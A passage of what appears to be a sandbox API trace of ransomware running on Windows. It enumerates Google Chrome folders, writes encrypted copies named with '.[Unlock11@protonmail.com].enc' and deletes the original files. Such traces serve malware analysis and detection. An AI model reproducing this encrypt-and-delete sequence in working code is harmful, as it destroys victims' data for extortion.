[0219.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.604] CloseHandle (hObject=0x39c) returned 1 [0219.604] CloseHandle (hObject=0x334) returned 1 [0219.604] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png")) returned 1 [0219.605] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0219.606] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.606] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ea7554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b7, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0219.606] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0219.606] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0219.606] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0219.606] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json")) returned 0x20 [0219.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0219.607] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific")) returned 0x10 [0219.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0219.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0219.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37343e0 | out: hHeap=0x2ad0000) returned 1 [0219.607] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", lpFilePart=0x9bada4*="manifest.json") returned 0x57 [0219.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0219.608] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ea7554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b7)) returned 1 [0219.608] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0219.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0219.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0219.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0219.609] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.609] GetFileType (hFile=0x334) returned 0x1 [0219.609] GetFileType (hFile=0x334) returned 0x1 [0219.609] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.609] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.609] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.610] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.611] GetFileType (hFile=0x39c) returned 0x1 [0219.612] GetFileType (hFile=0x39c) returned 0x1 [0219.612] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.612] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.612] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.615] CloseHandle (hObject=0x39c) returned 1 [0219.615] CloseHandle (hObject=0x334) returned 1 [0219.615] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json")) returned 1 [0219.616] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0219.616] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.617] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="win_x64", cAlternateFileName="")) returned 1 [0219.617] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="win_x64", cAlternateFileName="")) returned 0 [0219.617] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0219.617] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64")) returned 0x10 [0219.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0219.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0219.618] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\*.*", lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0219.619] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.619] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef5754, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x491b58, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0219.619] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef7e64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="widevinecdm.dll.sig", cAlternateFileName="WIDEVI~1.SIG")) returned 1 [0219.620] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f98a0ce, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~2.DLL")) returned 1 [0219.620] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 1 [0219.620] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bac50 | out: lpFindFileData=0x9bac50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x9baa0c, dwReserved1=0x73013d47, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 0 [0219.620] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0219.621] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll")) returned 0x20 [0219.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbf10 | out: hHeap=0x2ad0000) returned 1 [0219.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0219.622] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig")) returned 0x20 [0219.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8af8 | out: hHeap=0x2ad0000) returned 1 [0219.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll")) returned 0x20 [0219.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e85a8 | out: hHeap=0x2ad0000) returned 1 [0219.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig")) returned 0x20 [0219.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8410 | out: hHeap=0x2ad0000) returned 1 [0219.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll", lpFilePart=0x9bada4*="widevinecdm.dll") returned 0x74 [0219.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.sig", lpFilePart=0x9bada4*="widevinecdm.dll.sig") returned 0x78 [0219.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0219.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll", lpFilePart=0x9bada4*="widevinecdmadapter.dll") returned 0x7b [0219.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0219.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig", lpFilePart=0x9bada4*="widevinecdmadapter.dll.sig") returned 0x7f [0219.625] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0219.625] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.625] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 1 [0219.625] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 0 [0219.625] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0219.626] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170907132439.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170907132439.pma")) returned 0x20 [0219.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0219.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0219.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0219.627] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170907132439.pma", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170907132439.pma", lpFilePart=0x9bada4*="20170907132439.pma") returned 0x50 [0219.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0219.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0219.627] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0219.627] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.628] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0219.628] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0219.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0219.628] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, 